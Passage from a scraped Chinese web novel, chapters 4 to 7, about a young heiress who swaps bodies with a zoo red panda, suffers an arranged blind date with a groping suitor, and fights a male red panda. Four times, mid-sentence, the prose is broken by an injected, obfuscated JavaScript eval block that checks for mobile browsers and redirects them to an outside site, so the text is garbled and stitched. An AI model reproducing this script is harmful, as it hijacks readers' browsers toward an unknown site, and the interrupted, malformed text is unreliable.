程知玥缓步走到自己的卧室。考虑到上班时间，所以她提出了要搬出去的想法，父母二话没说就同意了。虽然是租的房子，房间也没有多大，一百多平米，但还好也有自己的卧室、书房、厨房等。比起父母在的房子，麻雀虽小五脏俱全。 松软的大床，正是放松的地方。程知玥任由自己倒在床上。 时间已经不知不觉走到了晚上八点，但她却一点都没觉得饿。她翻了一个身，拿起放在旁边的手机。无趣的世界，只有手机能带给她一点温暖。 程知玥玩着手机，脸色却越来越难看。网上现在到处都是她的报道，文字、视频，甚至于有的人还做了鬼畜，一时间网上都是嘲笑她的声音。关于她的解释，虽然也有的报道提了一下，但跟大部分一样，都觉得理由太荒诞了，以至于嘲笑声愈演愈烈。 这还叫人怎么玩下去！程知玥攥紧了手机，力度越来越大。但对着手机出气又有什么用，只是徒增烦恼。 唉！程知玥郁闷地把手机扔在地上，自己则埋进了被子里。 这一扔，倒在地板上的手机却发出了响亮的惊呼，还搭配着甜甜的音乐，在这样的氛围里简直是格格不入。 吵死了！ 所有的烦躁在此刻一瞬间迸发，程知玥冷着脸，但火气都要具象化了。她从床上下去，几步走到了手机的旁边。 什么事情这么高兴啊，不会又是做了她的搞笑视频吧。如果是的话，她可要找出这个人，对父母撒气不行，她还不能对恶搞她的人生气吗？有仇不报非君子，她可记仇了，绝对不会善罢甘休的。 【这一次，是我们的双向奔赴】 一行大字出现在黑幕中，甜甜的音乐随后响起。 一只小熊猫慢慢地下树，表情委委屈屈，身体都是紧张地绷着。站在一旁的饲养员抬头看着它，表情温柔但也同样紧张。几秒后，小熊猫却突然停下了，这一停，它却没有抓稳，径直从树上坠落。说时迟那时快，饲养员上前一步，伸出双手接住了它。 周围的游客们惊呼声还没来得及发完，半道改成了放松的吐气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543769|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声以及赞赏的掌声。 接下来的片段视频慢放，饲养员看着被吓得半天都回不过神的小熊猫，露出温柔的笑脸安抚着它，而小熊猫好像也沉溺在他的温柔中情不自禁看呆了。 真是一幅美好的画面，如果视频中的小熊猫不是她就好了。虽然程知玥一开始不知道圈圈长什么样，但这个饲养员她会认不出来吗，毕竟是差一点就窥视了她隐私的男人。 原来那个时候，游客们有这么多行为啊，当时她被吓坏了完全没有注意到。 原来饲养员也没这么高大啊，她还以为他有两米，她当时看他可费劲了，现在这么一看，他大概有一米八左右。 原来圈圈长得这么可爱啊，眼睛圆圆的但又小小的，像绿豆一样。耳朵像蝴蝶一样，扑闪扑闪的。就连耳朵下面的两戳白毛都这么可爱。 ……原来这小家伙腿短，难怪跑起来那么费劲。 程知玥才注意到这个视频底下的点赞竟然已经过了十万，就连留言都有上千条。她迫不及待地点了进去。 【好可爱的小熊猫！】 【这只小熊猫叫什么名字啊，第一次看见这么委屈脸的小能。】 【没人觉得饲养员也很帅吗？】 【对对对！我也是这么觉得！这个动物园叫什么，我要去！】 【看饲养员衣服上有名字，绿野动物园。】 绿野动物园，程知玥心里一动，搜查起来。 这不搜不知道，一搜吓一跳。绿野动物园就在她所在的A市，而且距离她现在的家也不远，坐地铁也就半个小时的时间。动物园是十年前创办的，而十年前，程知玥还在国外读书，自然不知道它的位置，也难怪互穿后她看到饲养员衣服上的动物园名字没有反应。 还真是梦幻一般的体验，要不是圈圈留给她这堆烂摊子，她都要怀疑互穿只是她做的梦了。可是对圈圈，程知玥还是生不起气来。它只是一只小熊猫，它明白什么。要不是被吓到了，它也不会跑到树上，更不会因为疲惫睡过去。 视频再次停留在一人一小熊猫相视的画面，屏幕上还特意做了一个爱心，圈住了他们的脸。程知玥的心情也逐渐明朗起来，或许哪一天去绿野动物园看看它吧，毕竟她们有着这么特殊的缘分。 只是想到这里，程知玥的心里还是染上了一层阴霾。她意识到一件很严重的事情，互换究竟只有这一次还是有许多次。如果只有一次，那么她也只需要解决这一次圈圈带来的麻烦。如果是许多次，如果是正在上班时，如果是在上班路上……程知玥捂住了自己的头，她不敢再想下去了，这也太可怕了。 微信的声音响起，打断了程知玥的胡思乱想。她点开微信，里面是母亲发来的信息，上面只有一句话：【中午12点，不要迟到。】 程知玥回复：【知道了，妈妈。】 唉，她有种不好的预感，直觉告诉她后天的赴约或许比跟圈圈互换还要可怕。 5. 第 5 章 呵，程知玥在心里苦笑一声，还真是预感成真了。 一进门，程知玥就敏锐地发现了家里的不对劲。 她的父亲程功站在一旁，向着一个打扮精致的中年男人介绍着墙上的字画。她的母亲林茵则坐在沙发上，旁边坐着一个贵妇人，她们品着茶愉悦地交谈着。而他们旁边坐着一个男人，百无聊赖地看着电视。虽然面容比较年轻，但却是一副大腹便便，头顶都快要秃了的样子。 这真的是她家吗？程知玥恍惚，不知道的还以为他们五个人才是一家，气氛也太和谐了。 看见程知玥进了门，林茵挥挥手，热情地招呼着：“小玥，回家了，快来这边坐。” 这还真是从来没有过的态度，程知玥受宠若惊地走过去。 她们家沙发由一条长沙发，长沙发的两侧各自摆放着一个可以容纳一个人坐的沙发组成。此时，林茵、贵妇人和那个男人并排一起坐在长沙发上。 贵妇人捂嘴掩笑，站起来看着程知玥：“哎呀，小玥回来了，真是好久没有见过面了。” 以前也没见过啊。程知玥面上不显，只是礼貌地微笑。她注意到那个男人看见她眼睛一亮，眼神都不对了。 旁边的林茵赶紧提醒：“这是你李阿姨，快叫人。” “李阿姨。” “真是乖孩子。”贵妇人满意地点点头，转身就坐到了林茵旁边的那个小沙发上。 程知玥：“……” 原来在这里等着她啊。 见程知玥没有动静，林茵脸上闪过一丝不悦。但只是一瞬，她就站起来，拉着她的手，热情地把她拉到贵妇人原来的位置坐下。 林茵拍了拍程知玥，示意她看向旁边的男人：“那是你李阿姨的儿子，比你大五岁，叫王仁。” 程知玥对男人点点头，她甚至都不敢抬头看他的脸，总觉得多看一点都是对眼睛的伤害。从眼角的余光中，她看到男人也点了点头。 “我叫王仁，你就是程知玥吧，很高兴认识你。”男人说就说，手也伸出来了。 程知玥盯着他的手发呆，真像猪蹄。但这么多双眼睛看着，她也不能拂了面子。她只好伸出手回握：“你好，我是程知玥。” 寒暄已经结束，程知玥扯了扯嘴角，挤出一个标准的假笑。她想缩回手，但是手却没有收回，反而是被王仁更强力握着，他不仅不放，甚至还用手指尖挠了挠程知玥的掌心。 ！！！真想把他手剁了！！！程知玥忍着恶心，情不自禁地加大了手上的力度，直到王仁实在是忍受不了疼痛，才悻悻地松开手。 就握手发生的小插曲，两个女人却没有注意到其中的暗流涌动，他们只看见两人双手交握，握了许久。 “好好好。”贵妇人开心地拍了拍手，就连林茵脸上也难得露出满意的微笑。 “老爷、夫人可以开饭了。” 程功总算从讲解的氛围里抽出，他这才注意到程知玥已经回来了，不过也只是不咸不淡地说了一句：“你回来了。”简直比白开水还平淡。 从来他就是这样的一个人，只要沉浸在自己的世界就会一直到底，对周围的事情不闻不问。若不是这样，他也不会一直沉浸在那个所谓的新项目，导致拖累了集团。 倒是他旁边的中年男人积极地打着招呼：“小玥，我是你王叔叔。你小时候我太太还抱过你呢。” 原来这就是贵妇人李阿姨说的好久没有见过面，这么看来，确实，毕竟都二十多年过去了。 走到客厅，程知玥猛然一怔，原本她们家的饭桌是一张大方桌，父亲坐着主位，她和母亲各坐一边。但今天的桌子却换了一张，还是换的大圆桌。 什么心思，这不昭然若揭吗。 果然，李阿姨笑盈盈地把程知玥按在一个座位上坐下，再挥手把他儿子叫来坐到她的身边：“来，坐这里，你们年轻人好好交流。” 程知玥堪堪扯了一下子嘴皮子，想要勉强自己笑一笑都做不到。 坐下后，王仁也是殷勤地帮她夹着菜：“小玥，来吃虾，这虾看上去就好吃。” 李阿姨忍不住跟旁边的丈夫揶揄：“瞧你这儿子，看见小玥，都忘了他的父母，光顾着给小玥夹菜了。” 王先生跟着点头，根本止不住笑。 话题中心的程知玥看着碗里的虾，却忍不住皱起眉头。 在她愣神的时候，她的腿却像是被谁踹了一脚。不用想都知道是坐她旁边的林茵踢的。 林茵瞪着她，而隔着一个位置的程功也盯着她，目光阴沉。 他们不是不知道她海鲜过敏，小的时候，程知玥吃了一点就浑身起了疹子。但是现在，他们却为了一个陌生人的脸面，置她的健康于不顾。 程知玥把虾放进嘴里，他们这才露出笑容，开始了他们的话题。 见他们的目光已经转移，程知玥这才从容地拿起旁边的纸巾，她把虾吐到纸里，包裹好，扔进垃圾桶。光是含那么一小会的功夫，她就已经觉得浑身不舒服了。 但这场令人不适的饭局哪里会这么快就结束。说着说着，话题有意无意地又扯到儿女身上。 “你家小玥真是优秀啊，国外留学回来就接手了集团，哪像我这儿子，一点都不争气。” “这是哪里的话，你家小仁……呃，你家儿子也很厉害啊。” “还好啦。只是让他先学习一下，没想到就拿下了项目，直接给公司赚了几百万。”果然，谦虚到一半，王先生也忍不住夸赞起儿子了。 听到这话，程功的眼睛都亮了：“这可真厉害啊。小玥，你要向人家好好学习。” “是啊是啊，小玥你以后要多跟王仁交流。”就连林茵也跟着帮腔。 “以后有的是机会啦。”李阿姨嘴都快要笑不合拢了。 “叔叔阿姨客气了。”王仁笑着，轻轻拍了拍程知玥的肩膀，“我才是要小玥多多关照呢。” 他的举动，所有人都看着眼里，却都露出了笑容，俨然一副好事将近的样子。 程知玥漠然地吃着饭，她都懒得理会了。他们都已经自顾自地安排好了一切，却都没有问过她的想法。她就好像傀儡，被安排着推入属于她的命运。真实，却又荒诞得可笑。 一顿饭就在这其乐融融的气氛中吃完了。 “小玥，你和王仁就在家里坐坐，我和你李阿姨一起去逛街。你爸爸和王叔叔出门去钓鱼。”饭后，林茵安排着接下来的行程，就连管家都被安排出去买菜了。 “可是……”程知玥急了，自从她知道这是相亲后，就格外不自在。但是看在父母的面子上，才一直忍让着。但是她没有想到父母竟然放任他们一男一女待在屋子里，他们真的这么放心吗？还是说就是存的这个心。 没有等程知玥的话说完，林茵就按住了她的肩膀，她扳着她的肩膀强迫程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543770|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知玥直视她的眼睛。 林茵的眼睛晦暗不明，好像死水里隐藏着风浪。她带着微笑，小声地说道：“乖。” 可是程知玥却莫名地打了一个寒颤，从小到大，她最害怕的就是林茵的这个表情。明明不高兴，却露出了诡异的笑容，让她完全不敢拒绝，也不想想象万一她拒绝了林茵会有怎样的反应。 程知玥僵硬地挥手，送别父母和王仁的父母。 “好了，他们都已经走了。” 回过头，程知玥看见王仁已经坐在她家的沙发上了。他伸手点了点旁边的位置：“坐啊。”还没有等程知玥回答，他的手已经往上移动，放在沙发的顶端了。看似随意的样子，却充满着刻意，这个姿势跟搂着她有什么区别。 程知玥没有理会，她坐到了离王仁最远的小沙发上，还好这个位置只能坐一个人。 “坐这么远干什么？”王仁不满，但看着程知玥的脸是如此美丽，他的心情又好起来。他站起来，走到长沙发的另外一头，这下又拉进了和程知玥的距离。 “没什么。”程知玥索性打开电视剧看起电视转移注意力。 但王仁怎么会不知道她的心思呢，他直接把话说开：“我想你也知道父母的用意，这次见面就是相亲的。我对你很满意，我们以后就是男女朋友了。” 程知玥听到了自己脑袋理智的弦绷紧的声音。她一直以来都顺从着父母的意愿，但这次相亲，这个人她实在不喜欢。本来她还没想好要怎么处理这件事，想着先随便应付一下，以后再想怎么办。 但是！这个人未免也太急色了吧。怎么会有人第一次相亲，甚至还没有等女方回答，就自顾自地认证是男女朋友了啊。本来只是在网上看过这类奇葩的事，没想到还真让她遇上了。 程知玥干笑：“这也太快了吧，毕竟才见面第一天。” “可是我觉得我跟你不是第一天见面，或许是上辈子就见过了吧。”这腻人的情话王仁随口就来。 “可是我是个务实的人，上辈子这种事太过虚无缥缈了。” “是吗，那我们就来创造这辈子的幸福吧。”说着，王仁握住了程知玥的手。 程知玥警铃大作，她想收回手，但王仁的力气实在太大，她的挣扎在他眼里看起来简直不值一提，甚至越挣扎他越握得紧。 这下，程知玥也实在装不下去了，她沉下来，就连眼睛里都染上一层冰霜：“王仁先生，你松手。我觉得我们实在是不合适，回头我会好好和我父母解释，也会和你父母说清楚的。” “呵，说什么呢。”这下王仁也不演了，他冷笑，“你以为他们出去是什么意思，当然是为了让我们生米煮成熟饭。” 程知玥的脸阴沉得都要滴水了，她本来最不想承认的事情就这么被王仁直接拆穿了。 看到她这么心绪不宁，王仁不免得意，他搂住程知玥的后脑勺，噘着嘴，慢慢地靠近她的脸。 “啪。”伴随着一个响亮的巴掌声，门也在此时应声而开。 “你这是干什么！”耳边传来林茵震惊又愤怒的声音。 程知玥回头，阳光映入她的眼中，耀眼得让她睁不开眼。再睁开眼时，周围已经变成了草地，眼前还有一个空盆。 程知玥茫然地抬起头，熟悉的饲养员笑着摸了摸她的头：“圈圈今天真乖，饭都好好吃完了。” 糟糕，她怎么又变成小熊猫了？！ 6. 第 6 章 可恶！程知玥握紧了爪爪，才揍了那个流氓一拳，完全不解气。而且在打人时又互穿了，他们只看得见她揍人，却不知道她揍人的原因。穿越了，小熊猫又没有办法解释，还真是可以让王仁胡说八道乱泼脏水了。 “哎呀，那只小熊猫好可爱啊。” “竟然还捏紧了拳头，是要萌死谁。” “那只就是圈圈了，从树上掉下来被饲养员接住的那只。” 耳边传来游客们的惊呼声，但考虑到不要打扰到动物们，他们都自觉降低了音量。 饲养员眨了眨眼睛，不知道怎么回事，圈圈似乎又生气了，可是刚才还好好的啊。 好烦，一想到王仁火气就上来了。程知玥在地上不耐烦地走着完全沉浸在自己的世界，知道的是相亲，不知道的还以为是卖女儿呢。都二十多年不见，连对方是什么人都不了解，就这么放心把她交给别人了。 饲养员看了看其他小熊猫，它们还在努力干饭。他想了想，从裤包里掏出一块苹果片。本来是准备放在丰荣玩具里，让小熊猫们找着吃。可是看圈圈这么不开心，他还是不忍心，就当是开解它吧。 程知玥无意识地接过苹果片，自然地放在嘴里。到了嘴里的时候，她才反应过来。她停下了咀嚼的动作，愣愣地抬头看着饲养员。 “怎么样，心情有好点吗？” 真是宛如春风一般和煦的微笑，程知玥都不禁看呆了。为什么她遇见的相亲对象这么丑陋猥琐，不能像这个饲养员一样帅气又温柔呢？ 程知玥吃下了苹果，或许是苹果的甜味又或者是帅哥的陪伴，她心里好受了许多。她点了点头，转身小跑进树林里。在众多乔木中，选择了一颗看上去比较好爬的树木，又选了一根比较宽的树枝，静静地趴着休息。 先不去想那个恶心的人了，现在最关键的问题是她又变成小熊猫了，说明这样的互换是多次的，以后也会发生。这就麻烦大了。这次的互换好歹还是在家里，丢脸也只有几个人知道，虽然也让那个恶心的人知道了有些不爽。 但下次呢，下下次呢，她必须要做好准备。但就算她做了准备又如何，不知道什么时候互换，这根弦就得一直绷着，简直就像达摩克利斯之剑，随时都害怕警惕着那个时候的到来。 唉，程知玥叹了一口气，她看了看自己的熊掌，肉肉的，毛茸茸的，是很萌不错，但如果不是她自己的就好了。她忧郁地翻了一个身，这次又是因为什么原因互换的呢，说到底互换的原因究竟是出在她这边还是小熊猫这边，这也是她发愁的，毕竟全部都是未知数。 不知道是不是穿成了小熊猫的缘故，她总觉得特别容易犯困。才趴着想了几分钟，她就已经有了睡意，哈欠也忍不住打了出来。 算了，还是等清醒了再想吧。 暖暖的春风温柔地吹拂着，阳光洒在程知玥身上，映出金色的轮廓，看上去就像在发光一样。鸟儿停歇在树上，唱出一首首美妙的歌曲。伴随着旁边小溪流水的潺潺声，仿佛在演奏一曲合唱。 程知玥闭上眼睛，陷入了甜美的梦乡。 ……好痒，似乎有什么东西在嗅着她，她都能听到轻轻的吸气声。 啧，程知玥咂了咂嘴，但是睡意太浓了，她随意挥了挥爪，继续睡觉。 只是，那个东西却变本加厉了。 程知玥瞬间惊醒，她猛地睁开眼睛，警惕地坐起来，等着眼前的不速之客。它它它它竟然舔她的耳朵！虽然她的耳朵毛茸茸，软乎乎，像蝴蝶一样漂亮，但它怎么可以舔呢！ 舔她的小熊猫缺了一只耳朵，它跟程知玥站在同一侧，她们对峙着，谁都没有动弹。 糟糕了！虽然不知道这只小熊猫出于什么样的意图舔她，但她现在想逃跑是真的。但偏偏它挡住了她的去路。想跑要么就只能直接跳下去，要么就只能越过那只小熊猫。 但前者，显然不可能。她本来选的树枝就是比饲养员伸手还高一点的位置，就是害怕在树上一下子被饲养员端走。那么就只能选择后者了。 诶？那只小熊猫竟然直接坐下来了，他还抬起后腿舔毛，这也太悠闲了吧！ ……等一下，程知玥睁大了眼睛，她如果没有看错的话，那只小熊猫双腿之间有两个蛋蛋。 回想着刚才它的举动，程知玥表情凝固了。 春天到了，万物复苏，又到了动物□□的季节。不适时宜的，程知玥的脑海里响起了《动物世界》里的台词。 它不会是发情了吧！？ 这还得了！她可不想被小熊猫拱啊！程知玥抖了个机灵，她绝对不能放松警惕。 都说小熊猫站起来举起手是为了让自己显得高大，从而恐吓对手。 程知玥站了起来，举起了手。她满怀期待地看着它，然而缺耳朵小熊猫不为所动，甚至还换了一只腿舔。 可恶，早知道就不选这根树枝呢，选低一点的树枝可以直接跳下去就跑了。哪怕被饲养员端着走，也比选在这个处境好啊。 终于，缺耳朵小熊猫行动了。它注视着程知玥，缓慢地向前走了一步。 只一步，就把她吓得不轻，她就这么站着往后退了一步，嘴里却忍不住发出尖叫：“你不要过来啊！” 缺耳朵小熊猫不为所动，甚至又大胆地向前走了一步。 可不能再退了，后面的树枝太细，恐怕不能承受她的重量，踩上去极有可能发生高空坠落。 程知玥咬咬牙，借着站立的姿势，猛地一扑。 没有想到竟然会发生这种变故，缺耳朵小熊猫猛地被压，身体也沉了下去，它只感觉身上一重，再抬头时，对面已经没有了圈圈，她已经落荒而逃。 太可怕了！程知玥在林间穿梭，找寻着饲养员。动物太危险，还是在人的旁边安全些。 可是她怎么听到身后也传来一些奇怪的声音呢，程知玥回头，只一眼，她被吓得眼珠子都要瞪出来。 缺耳朵小熊猫没有死心，它还在奋力追赶着她。 要不要这么执着啊！虽然圈圈是长得十分可爱，但也有别的雌性小熊猫啊！ 要被追上了，程知玥心一横，转身面对。既然逃不了，那就只能打了。 程知玥张开前肢，露出锋利的爪子，她直接对着缺耳朵小熊猫的脸挠去。 而缺耳朵小熊猫也不傻，它往旁边一躲，自己也站了起来，朝程知玥一扑。 来不及躲闪，缺耳朵小熊猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543771|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 径直压在程知玥的身上。程知玥努力扑腾，勉强把它从身上甩下，但它的双腿却牢牢地锁住了她的后肢。 还没完了，程知玥恼怒，本来就沦落到要跟动物打架已经够悲哀了，还打不赢那不是奇耻大辱！ 程知玥对着倒在地上的缺耳朵小熊猫就是一拳，但这一拳不痛不痒，甚至它还张开嘴来咬她的爪子。 没有料到它竟然会采取这样的行动，冷不丁的，程知玥被掀在了地上。它压在她的身上，上来就要对她的脸咬一口。 程知玥忙伸出爪子抵挡，又是一番缠斗，她把目标放在缺耳朵小熊猫的另一只完好的耳朵上。她也顾不上什么修养了，亮出牙齿咬了上去。 “哎呦，那两只小熊猫打得好凶！” “饲养员在哪里？快把他叫出来。” “那只缺耳朵小熊猫都被打出猪叫了！” 被咬着耳朵的小熊猫发出了哀嚎，但程知玥也不敢放松。她现在，可是占着优势，直接把它锁在怀里，让它不能动弹，耳朵也咬住。总得给它一点教训，让它知道她可不是好欺负的。 “圈圈，缺缺！”闻讯赶来的饲养员大惊失色，但尽管如此，程知玥也不打算放手。 这可不行啊，这样下去，缺缺的另外一只耳朵也要不保了。 程知玥感觉身体一轻，整个人都被提起来了，她被迫松口，回头一看，简直不可置信。 饲养员提着她的尾巴，她不得不用前肢支撑着地面保持平衡。 这下，程知玥气炸了：“你怎么拉偏架！明明是它先欺负的我，怎么就只提我！虽然它是菜，但事端也是它惹的啊……” 饲养员不知道她在说什么，但感觉她骂得好脏。 而缺缺早就在程知玥被提起来的时候，就爬起来一溜烟地跑了。 虽然被这么提着，但痛倒是不痛，只是感觉真的没脸见人了。程知玥抬头看到游客们举着手机拍照、摄像，脸上都是掩盖不住的笑容。 “好了好了。”饲养员把程知玥提到木架上，那里放着新鲜的竹叶。 他把竹叶递到程知玥的嘴边，但程知玥气还没有消，再说她哪能吃竹叶啊。她气鼓鼓地转过身，爬到了木架的最高处，那上面饲养员够不着。她直接趴下去，简直就像一滩小熊猫饼，还是烤焦的那种。 饲养员笑笑，也没再说什么，继续埋头整理着竹叶。本来他就在清理已经不新鲜的竹叶，再从仓库拿出新鲜的竹叶备上。他刚在木架上放好，准备去其他地方放竹叶，就听见了游客们的惊呼声。 没想到还能看到圈圈这么凶猛的一切，还真是意外。 经过了这么一场恶战，程知玥的瞌睡也醒了，但她也感到无聊，毕竟手机、电脑都不在身边，这可是大部份现代人都不能缺少的东西。无聊怎么办呢，她也只能盯着饲养员了。 没想到饲养员还挺忙碌的，原以为只是喂喂食的轻松工作，但看着他忙上忙下地换竹叶，清理粪便，组装着丰荣玩具等等。明明很辛苦，但他的脸上却没有丝毫不耐烦，甚至还乐在其中，看来他真的很喜欢动物啊。 不知不觉，时间已经到了下午五点，动物园就快要闭园了。也是时候把小熊猫收回到内舍了。 7. 第 7 章 “圈圈，该回家了。”饲养员抬起头，温柔地呼唤着程知玥。 但程知玥不为所动，她还在为先前他提她尾巴的事情生气，拉偏架还让她丢脸，她可不会轻易原谅。 “圈圈，圈圈……”饲养员不死心，他拿出一块苹果片在程知玥的眼下晃动。这是收猫的常见套路，毕竟小熊猫们都抵挡不了苹果的诱惑，更别说特别喜欢苹果的圈圈了。 呵，程知玥冷哼，就一块苹果片也想收买她，她又不是真的小熊猫。因此她连一个眼神都没给，眯着眼睛享受着春风，滋润得连毛发都舒展了。 真是意外，圈圈竟然对苹果不感兴趣。饲养员都忍不住惊讶地睁大了眼睛。 实在是没有办法，饲养员只有暂时先去收其他小熊猫。别的小熊猫倒也配合，有的还早早地蹲守在回家的路上，因此不到十分钟，外场的小熊猫就只剩一只了。 “圈圈，圈圈……” 程知玥不耐地睁开一只眼，看见的是饲养员一脸的愁容，就连眉毛都皱在了一块，原本好好的小帅哥现在都愁得像根苦瓜了，这也太乐了，原来戏耍饲养员是这么有意思的事啊。 “今天圈圈好犟啊，怎么都不肯回家。” “可能它在记仇吧，诶，小熊猫会记仇吗？” “……会吧。我家猫都会记仇呢，小熊猫跟猫还挺像的。” “呜，要回家了。再见了，圈圈，明天再来看你。” 唉，饲养员探了一口气，他最后看了一眼程知玥，终于还是放弃了。这次他没有再管她，直接往内舍的方向走去了。 ……诶？不是，这么容易放弃的吗？这下，程知玥诧异了，她坐起来看着饲养员离去的背影，不会真把她一个人，哦不是，一只小熊猫丢在这里吧。 看看展区外，游客们都已经在往回赶了。一时间，整个园区都安静了，变得空空荡荡。 程知玥不安地在木架上踱来踱去，都过去几分钟了怎么还没有回来。真让她在外场待一晚上啊，不怕大晚上发生意外吗？ 程知玥耳朵动了动，她听到了熟悉的脚步声。她连忙回到先前的位置上，假装什么都没有发生，甚至连趴着的姿势都一模一样。 哼，就知道放心不下她。 饲养员果然又回来了。这回他的手上还多了一个东西，还是熟悉的东西，竟然是小熊猫们吃饭的饭盆。 饲养员捧起饭盆，递到程知玥的眼前，竟然是满满的一盆苹果片。 “不要生气了。” 怎么连声音都夹了！程知玥原本就圆的眼睛瞪得更圆了，她原本以为饲养员只是一个帅气温柔的小哥，但没想到竟然还挺会撒娇的，声音变夹了不说，就连眼睛都眨巴眨巴着，像星星一样。 好吧，就给他这一个面子，她暂且先原谅他了。 程知玥抖了抖身体，饲养员眼前一亮，他就知道他这盆小苹果的威力。圈圈哪里不喜欢小苹果了，只是生气而已。一块不够，那就一盆，总能取得圈圈的谅解。 怎么回内舍，程知玥刚才也看清楚了。内舍在整个展区的左边，有一扇大门是专门供工作人员进出的。旁边有一扇小门，大小也仅限于让一只小熊猫进出。平时这个门都是关着的，只有放和收猫时才开着。 饲养员端着饭盆，在前方走着，时不时还停下来，拿苹果引诱。等到了小门的地方，他们相视一眼，程知玥跳进了小门，饲养员眼疾手快，赶紧关上了小门，生怕这小祖宗反悔。 至于吗，程知玥撇撇嘴。 诶，等等，苹果留下啊，她只吃了中午饭，晚饭还没有吃呢，就靠苹果救急了。 只是她都已经在门里了，再怎么呼唤，饲养员也听不到了。无奈之下，程知玥看着自己现在所走的地方。 她脚下是木板搭成的桥，因为园区害怕小熊猫从桥下坠落，还筑了一层铁丝，连带着桥包裹起来。这座桥还只是过渡区域，桥外是饲养员们放扫把、拖把、垃圾桶等的工作间。桥的尽头也连接着一扇小门，这个门此时开着，里面就是内舍了。 小熊猫的内舍程知玥还从来没有见过，这不免让她有些好奇。迈着谨慎的步伐，她走了进去。 内舍是一个普通的小房间，大概跟一个小学教室一样大。里面堆着各种攀爬架，上面还放着竹叶，生怕晚上小熊猫们饿了没饭吃。除此之外，还有些丰荣设备，像什么小木屋、小木马、小风车，都准备得齐全，防止产生刻板，不会让它们感到无聊。 不过—— 程知玥警铃大作，缺缺竟然也在，不对，不止是缺缺，所有的小熊猫都待在同一个内舍。 程知玥下意识地想要从小门跑出去，但就这瞬间，缺缺也看到她了，她们目光交汇在一起，它却瑟缩了一下，就连头也低下去了，还真是被打了一顿就连看她一眼都觉得害怕。 这下，程知玥的头都扬起来了。她不紧不慢地走在攀爬架上，走到尽头的小木屋。小木屋封闭得很，仅有一个出入口，更关键的是因为小，只能容纳一只小熊猫。 程知玥挤了进去，占领了这座小木屋，她只堪堪露出脑袋，脸没什么大不了的，保护好屁股才是最重要的。虽然打赢了缺缺，但除了它还有两只雄性小熊猫，她可不能放松警惕。 不过，她的担忧显然是多余的。不光是雄性小熊猫，就连雌性小熊猫也各自做着自己的事情，吃竹叶的吃竹叶，玩玩具的玩玩具，睡觉的睡觉，内舍里一片平和。 饲养员轻轻地推开门，迎接他的是六个猫猫头，就连睡觉的都睁开了眼睛，齐刷刷好奇地看着他。就算是见惯了这种场面的他，心也一如既往地被萌化了。 他关上了内舍通往外面的小门，趁着小熊猫们都不再关注他后，才走到程知玥的面前。 他悄悄地从兜里掏出一片苹果片，放到小木屋里。 程知玥的眼睛顿时亮了。 真可爱！饲养员忍不住笑了：“今天的苹果已经给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543772|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完了。所以虽然不能给你一盆，但给你一片作为听话回来的奖励。” 也行，一片总比什么都没有好。程知玥勉强同意了这场交易。 看她这么乖，饲养员总算放心下来，关上门离开了。 程知玥趴在小木屋里，透过玻璃，程知玥看到夕阳缓慢落下，明明是平静治愈的画面，但回想起今天的一切，心情却急躁起来。 她不可避免地想到了下午那些她还没有想通的问题，越想越琢磨不出答案。上次互换的时间并不长，也就只有一个小时，但这次的互换都已经好几个小时了，眼看着月亮都要露出来了，她不会真的要和小熊猫互换一个晚上吧。还是说，上一次只是实验，这一换其实是永远。 一想到这个可能，程知玥的心里就想落了一块大石头。她双爪撑着头，不敢置信地摇着：“不可能，这一定不可能。” 但嘴上说着，心里却已然相信了这个可能性。 完蛋了，这次可能真的换不回来了。 突然，程知玥感到肚子有些疼痛，不好，这是要上厕所的前奏。可是，这个地方哪里能上厕所，她又怎么上厕所，这都是大问题。 她环顾了一下房间，整个内舍被打扫得十分干净，想必是小熊猫们出外场时打扫的。 肚子越来越痛了，程知玥咬着牙坚持。 一只小熊猫，看上去应该是抢过她苹果的那只。它放下抓着的竹叶，扭着身体走到了房间的角落，然后就像猫上厕所一样拉便便。 虽然内舍常打扫，但那个角落估计就是小熊猫们上厕所的地方，颜色都跟其他地方不一样了。 